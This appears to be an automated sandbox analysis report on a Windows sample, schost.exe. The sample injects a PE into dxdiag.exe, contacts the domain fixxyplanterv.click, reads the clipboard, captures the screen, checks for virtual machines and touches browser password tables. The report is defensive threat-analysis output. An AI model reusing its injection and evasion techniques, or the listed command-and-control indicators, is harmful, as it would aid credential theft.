Source: dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: dxdiag.exe, 00000003.00000003.1917926869.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fixxyplanterv.click/
Source: dxdiag.exe, 00000003.00000003.1872362648.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1917537484.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000002.1918584485.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fixxyplanterv.click/F9
Source: dxdiag.exe, 00000003.00000003.1872362648.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000002.1918566190.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000002.1918407928.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1854541927.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1917537484.0000000000C72000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1909911760.0000000000C44000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1859128313.0000000000C69000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760322548.0000000000C53000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1859337179.0000000000C56000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000002.1918584485.0000000000C72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fixxyplanterv.click/api
Source: dxdiag.exe, 00000003.00000002.1918547459.0000000000C38000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1917926869.0000000000C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fixxyplanterv.click/i
Source: dxdiag.exe, 00000003.00000003.1854541927.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fixxyplanterv.click/pi
Source: dxdiag.exe, 00000003.00000003.1872362648.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1854541927.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1859128313.0000000000C69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fixxyplanterv.click/s
Source: dxdiag.exe, 00000003.00000003.1854619613.00000000051BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fixxyplanterv.click:443/api
Source: dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: dxdiag.exe, 00000003.00000003.1761167237.0000000005255000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: dxdiag.exe, 00000003.00000003.1782957877.0000000005207000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1761383236.0000000005207000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1761167237.0000000005253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: dxdiag.exe, 00000003.00000003.1761383236.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: dxdiag.exe, 00000003.00000003.1782957877.0000000005207000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1761383236.0000000005207000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1761167237.0000000005253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: dxdiag.exe, 00000003.00000003.1761383236.00000000051E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: dxdiag.exe, 00000003.00000003.1807359260.00000000051CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: dxdiag.exe, 00000003.00000003.1760665595.00000000051FB000.00000004.00000800.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000003.1760751180.00000000051F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: dxdiag.exe, 00000003.00000003.1806541704.00000000052D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.6.116:443 -> 192.168.2.4:49742 version: TLS 1.2

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 3_2_004303F0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_004303F0

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 3_2_004303F0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_004303F0

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 3_2_00431262 GetDC,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,

3_2_00431262

Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00435870	3_2_00435870
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00415971	3_2_00415971
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00408920	3_2_00408920
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043CA10	3_2_0043CA10
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040AAE0	3_2_0040AAE0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00420B10	3_2_00420B10
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040E458	3_2_0040E458
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043D400	3_2_0043D400
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00425480	3_2_00425480
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00435530	3_2_00435530
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00438640	3_2_00438640
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043A7F4	3_2_0043A7F4
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004227B0	3_2_004227B0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043D040	3_2_0043D040
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00414860	3_2_00414860
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00433875	3_2_00433875
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00425800	3_2_00425800
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00425820	3_2_00425820
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042683C	3_2_0042683C
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041D0C0	3_2_0041D0C0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004230C0	3_2_004230C0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004238F0	3_2_004238F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00403950	3_2_00403950
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040F116	3_2_0040F116
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040E122	3_2_0040E122
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040B124	3_2_0040B124
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004281C0	3_2_004281C0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040D9D6	3_2_0040D9D6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042A9D5	3_2_0042A9D5
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004061E0	3_2_004061E0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004181E9	3_2_004181E9
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004231F6	3_2_004231F6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00405980	3_2_00405980
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00436980	3_2_00436980
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00414860	3_2_00414860
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043BA70	3_2_0043BA70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00412200	3_2_00412200
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00426A10	3_2_00426A10
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00419219	3_2_00419219
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042AAC6	3_2_0042AAC6
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004092D0	3_2_004092D0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042AAD7	3_2_0042AAD7
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004082F0	3_2_004082F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004362F0	3_2_004362F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041DA80	3_2_0041DA80
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042AA8A	3_2_0042AA8A
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00438A90	3_2_00438A90
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00427365	3_2_00427365
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040FB71	3_2_0040FB71
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00404300	3_2_00404300
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041BB20	3_2_0041BB20
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041C330	3_2_0041C330
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00436BE4	3_2_00436BE4
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00402B90	3_2_00402B90
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00404C50	3_2_00404C50
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00407450	3_2_00407450
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00434463	3_2_00434463
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00415460	3_2_00415460
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00434C70	3_2_00434C70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00427C0F	3_2_00427C0F
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041D4C0	3_2_0041D4C0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043CCF0	3_2_0043CCF0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041EC80	3_2_0041EC80
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042E480	3_2_0042E480
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00416CBD	3_2_00416CBD
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042456F	3_2_0042456F
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00421D73	3_2_00421D73
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00438D70	3_2_00438D70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00417D74	3_2_00417D74
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00424DD0	3_2_00424DD0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041BE71	3_2_0041BE71
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00406670	3_2_00406670
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040EE70	3_2_0040EE70
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041CE00	3_2_0041CE00
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00434ED0	3_2_00434ED0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004216E0	3_2_004216E0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043B6F0	3_2_0043B6F0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00415FA1	3_2_00415FA1
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00417742	3_2_00417742
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00402F50	3_2_00402F50
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041676A	3_2_0041676A
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00419710	3_2_00419710
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00411712	3_2_00411712
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0040C72B	3_2_0040C72B
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00409730	3_2_00409730
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004277E0	3_2_004277E0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043B7E0	3_2_0043B7E0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042779B	3_2_0042779B
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00415FA1	3_2_00415FA1
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0041A7A0	3_2_0041A7A0
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0042456F	3_2_0042456F

Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: String function: 00407FE0 appears 50 times
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: String function: 00414850 appears 77 times

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/0@1/1

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 3_2_00435870 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_00435870

Source: schost.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\schost.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: dxdiag.exe, 00000003.00000003.1783117144.00000000051C8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: schost.exe	Virustotal: Detection: 54%
Source: schost.exe	ReversingLabs: Detection: 57%

Source: unknown	Process created: C:\Users\user\Desktop\schost.exe "C:\Users\user\Desktop\schost.exe"
Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"
Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"
Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"
Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"	Jump to behavior

Source: C:\Users\user\Desktop\schost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: schost.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: schost.exe

Static file information: File size 13084160 > 1048576

Source: schost.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x9fee00
Source: schost.exe	Static PE information: Raw size of .data is bigger than: 0x100000 < 0x142000

Source: schost.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: schost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: schost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: schost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: schost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: schost.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: schost.exe	Static PE information: section name: .fptable
Source: schost.exe	Static PE information: section name: _RDATA

Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00442904 push es; ret	3_2_00442905
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_00438A00 push eax; mov dword ptr [esp], BEBFA0A1h	3_2_00438A0E
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_004423EC push es; ret	3_2_004423ED
Source: C:\Windows\SysWOW64\dxdiag.exe	Code function: 3_2_0043B690 push eax; mov dword ptr [esp], E3E2E1D0h	3_2_0043B692

Source: C:\Windows\SysWOW64\dxdiag.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\dxdiag.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe TID: 7368	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\dxdiag.exe TID: 7428	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: dxdiag.exe, 00000003.00000002.1918407928.0000000000BE8000.00000004.00000020.00020000.00000000.sdmp, dxdiag.exe, 00000003.00000002.1918407928.0000000000BBC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\SysWOW64\dxdiag.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\dxdiag.exe

Code function: 3_2_00439E40 LdrInitializeThunk,

3_2_00439E40

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\schost.exe

Memory allocated: C:\Windows\SysWOW64\dxdiag.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\schost.exe

Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\schost.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 43E000	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 441000	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 451000	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 452000	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Memory written: C:\Windows\SysWOW64\dxdiag.exe base: 8B7008	Jump to behavior

Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"	Jump to behavior
Source: C:\Users\user\Desktop\schost.exe	Process created: C:\Windows\SysWOW64\dxdiag.exe "C:\Windows\SysWOW64\dxdiag.exe"	Jump to behavior
